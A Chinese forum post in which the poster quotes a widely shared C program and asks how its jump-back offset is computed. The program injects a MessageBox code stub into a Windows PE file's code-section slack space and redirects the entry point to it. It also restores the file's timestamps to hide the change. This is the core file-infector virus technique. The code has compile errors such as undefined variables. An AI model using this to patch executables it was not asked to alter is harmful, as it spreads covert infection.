这是网上流传很广的修改PE的部分程序，有几处搞不清楚，求教高手指点！！！
修改PE可执行文件
现在让我们把一段代码写入任何一个PE格式的可执行文件，代码如下：
-- test.asm --
.386p
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.code
start:
INVOKE MessageBoxA,0,0,0,MB_ICONINFORMATION or MB_OK
ret
end start
以上代码只显示一个MessageBox框，编译后得到二进制代码如下：
unsigned char writeline[18]={
0x6a,0x40,0x6a,0x0,0x6a,0x0,0x6a,0x0,0xe8,0x01,0x0,0x0,0x0,0xe9,0x0,0x0,0x0,0x0
};
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <time.h>
#include <SYS\STAT.H>
unsigned char writeline[18]={
0x6a,0x40,0x6a,0x0,0x6a,0x0,0x6a,0x0,0xe8,0x01,0x0,0x0,0x0,0xe9,0x0,0x0,0x0,0x0
};
DWORD space;
DWORD entryaddress;
DWORD entrywrite;
DWORD progRAV;
DWORD oldentryaddress;
DWORD newentryaddress;
DWORD codeoffset;
DWORD peaddress;
DWORD flagaddress;
DWORD flags;
DWORD virtsize;
DWORD physaddress;
DWORD physsize;
DWORD MessageBoxAadaddress;
int main(int argc,char * * argv)
{
HANDLE hFile, hMapping;
void *basepointer;
FILETIME * Createtime;
FILETIME * Accesstime;
FILETIME * Writetime;
Createtime = new FILETIME;
Accesstime = new FILETIME;
Writetime = new FILETIME;
if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)//打开要修改的文件
{
puts("(could not open)");
return EXIT_FAILURE;
}
if(!GetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("\nerror getfiletime: %d\n",GetLastError());
}
//得到要修改文件的创建、修改等时间
if (!(hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY | SEC_COMMIT, 0, 0, 0)))
{
puts("(mapping failed)");
CloseHandle(hFile);
return EXIT_FAILURE;
}
if (!(basepointer = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0)))
{
puts("(view failed)");
CloseHandle(hMapping);
CloseHandle(hFile);
return EXIT_FAILURE;
}
//把文件头映象存入baseointer
CloseHandle(hMapping);
CloseHandle(hFile);
map_exe(basepointer);//得到相关地址
UnmapViewOfFile(basepointer);
printaddress();
printf("\n\n");
if(space<50)
{
printf("\n空隙太小,数据不能写入.\n");
}
else
{
writefile();//写文件
}
if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)
{
puts("(could not open)");
return EXIT_FAILURE;
}
if(!SetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("error settime : %d\n",GetLastError());
}
//恢复修改后文件的建立时间等
delete Createtime;
delete Accesstime;
delete Writetime;
CloseHandle(hFile);
return 0;
}
void map_exe(const void *base)
{
IMAGE_DOS_HEADER * dos_head;
dos_head =(IMAGE_DOS_HEADER *)base;
#include <pshpack1.h>
typedef struct PE_HEADER_MAP
{
DWORD signature;
IMAGE_FILE_HEADER _head;
IMAGE_OPTIONAL_HEADER opt_head;
IMAGE_SECTION_HEADER section_header[];
} peHeader;
#include <poppack.h>
if (dos_head->e_magic != IMAGE_DOS_SIGNATURE)
{
puts("unknown type of file");
return;
}
peHeader * header;
header = (peHeader *)((char *)dos_head + dos_head->e_lfanew);//得到PE文件头
if (IsBadReadPtr(header, sizeof(*header))
{
puts("(no PE header, probably DOS executable)");
return;
}
DWORD mods;
char tmpstr[4]={0};
DWORD tmpaddress;
DWORD tmpaddress1;
if(strstr((const char *)header->section_header[0].Name,".text")!=NULL)
{
virtsize=header->section_header[0].Misc.VirtualSize;
//此段的真实长度
physaddress=header->section_header[0].PointerToRawData;
//此段的物理偏移
physsize=header->section_header[0].SizeOfRawData;
//此段的物理长度
peaddress=dos_head->e_lfanew;
//得到PE文件头的开始偏移
peHeader peH;
tmpaddress=(unsigned long )&peH;
//得到结构的偏移
tmpaddress1=(unsigned long )&(peH.section_header[0].Characteristics);
//得到变量的偏移
flagaddress=tmpaddress1-tmpaddress+2;
//得到属性的相对偏移
flags=0x8000;
//一般情况下，“.text”段是不可读写的，如果我们要把数据写入这个段需要改变其属性，实际上这个程序并没有把数据写入“.text”段，所以并不需要更改，但如果你实现复杂的功能，肯定需要数据，肯定需要更改这个值，
space=physsize-virtsize;
//得到代码段的可用空间，用以判断可不可以写入我们的代码
//用此段的物理长度减去此段的真实长度就可以得到
progRAV=header->opt_head.ImageBase;
//得到程序的装载地址，一般为400000
codeoffset=header->opt_head.BaseOfCode-physaddress;
//得到代码偏移，用代码段起始RVA减去此段的物理偏移
//应为程序的入口计算公式是一个相对的偏移地址，计算公式为：
//代码的写入地址＋codeoffset
entrywrite=header->section_header[0].PointerToRawData+header->section_header[0].Misc.VirtualSize;
//代码写入的物理偏移
mods=entrywrite%16;
//对齐边界
if(mods!=0)
{
entrywrite+=(16-mods);
}
oldentryaddress=header->opt_head.AddressOfEntryPoint;
//保存旧的程序入口地址
newentryaddress=entrywrite+codeoffset;
//计算新的程序入口地址
return;
}
void printaddress()
{
HINSTANCE gLibMsg=NULL;
DWORD funaddress;
gLibMsg=LoadLibrary("user32.dll");
funaddress=(DWORD)GetProcAddress(gLibMsg,"MessageBoxA");
MessageBoxAadaddress=funaddress;
gLibAMsg=LoadLibrary("kernel32.dll");
//得到MessageBox在内存中的地址，以便我们使用
}
void writefile()
{
int ret;
long retf;
DWORD address;
int tmp;
unsigned char waddress[4]={0};
ret=_open(filename,_O_RDWR | _O_CREAT | _O_BINARY,_S_IREAD | _S_IWRITE);
if(!ret)
{
printf("error open\n");
return;
}
retf=_lseek(ret,(long)peaddress+40,SEEK_SET);
//程序的入口地址在PE文件头开始的40处
if(retf==-1)
{
printf("error seek\n");
return;
}
address=newentryaddress;
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//把新的入口地址写入文件
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}
retf=_lseek(ret,(long)entrywrite,SEEK_SET);
if(retf==-1)
{
printf("error seek\n");
return;
}
retf=_write(ret,writeline,18);
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}
//把writeline写入我们计算出的空间
retf=_lseek(ret,(long)entrywrite+9,SEEK_SET);
//更改MessageBox函数地址，它的二进制代码在writeline[10]处
if(retf==-1)
{
printf("error seek\n");
return;
}
address=MessageBoxAadaddress-(progRAV+newentryaddress+9+4);
//重新计算MessageBox函数的地址，MessageBox函数的原地址减去程序的装载地址加上新的入口地址加9（它的二进制代码相对偏移）加上4（地址长度）
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//写入重新计算的MessageBox地址
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}
retf=_lseek(ret,(long)entrywrite+14,SEEK_SET);
//更改返回地址，用jpm返回原程序入口地址，其它的二进制代码在writeline[15]处
if(retf==-1)
{
printf("error seek\n");
return;
}
address=0-(newentryaddress-oldentryaddress+4+15);
//返回地址计算的方法是新的入口地址减去老的入口地址加4（地址长度）加15（二进制代码相对偏移）后取反
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//写入返回地址
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}
_close(ret);
printf("\nall done...\n");
return;
}
address=0-(newentryaddress-oldentryaddress+4+15);
//返回地址计算的方法是新的入口地址减去老的入口地址加4（地址长度）加15（二进制代码相对偏移）后取反
？？？加15（二进制代码相对偏移）是什么意思啊？？？？？？？
另外为什么要取反？？？
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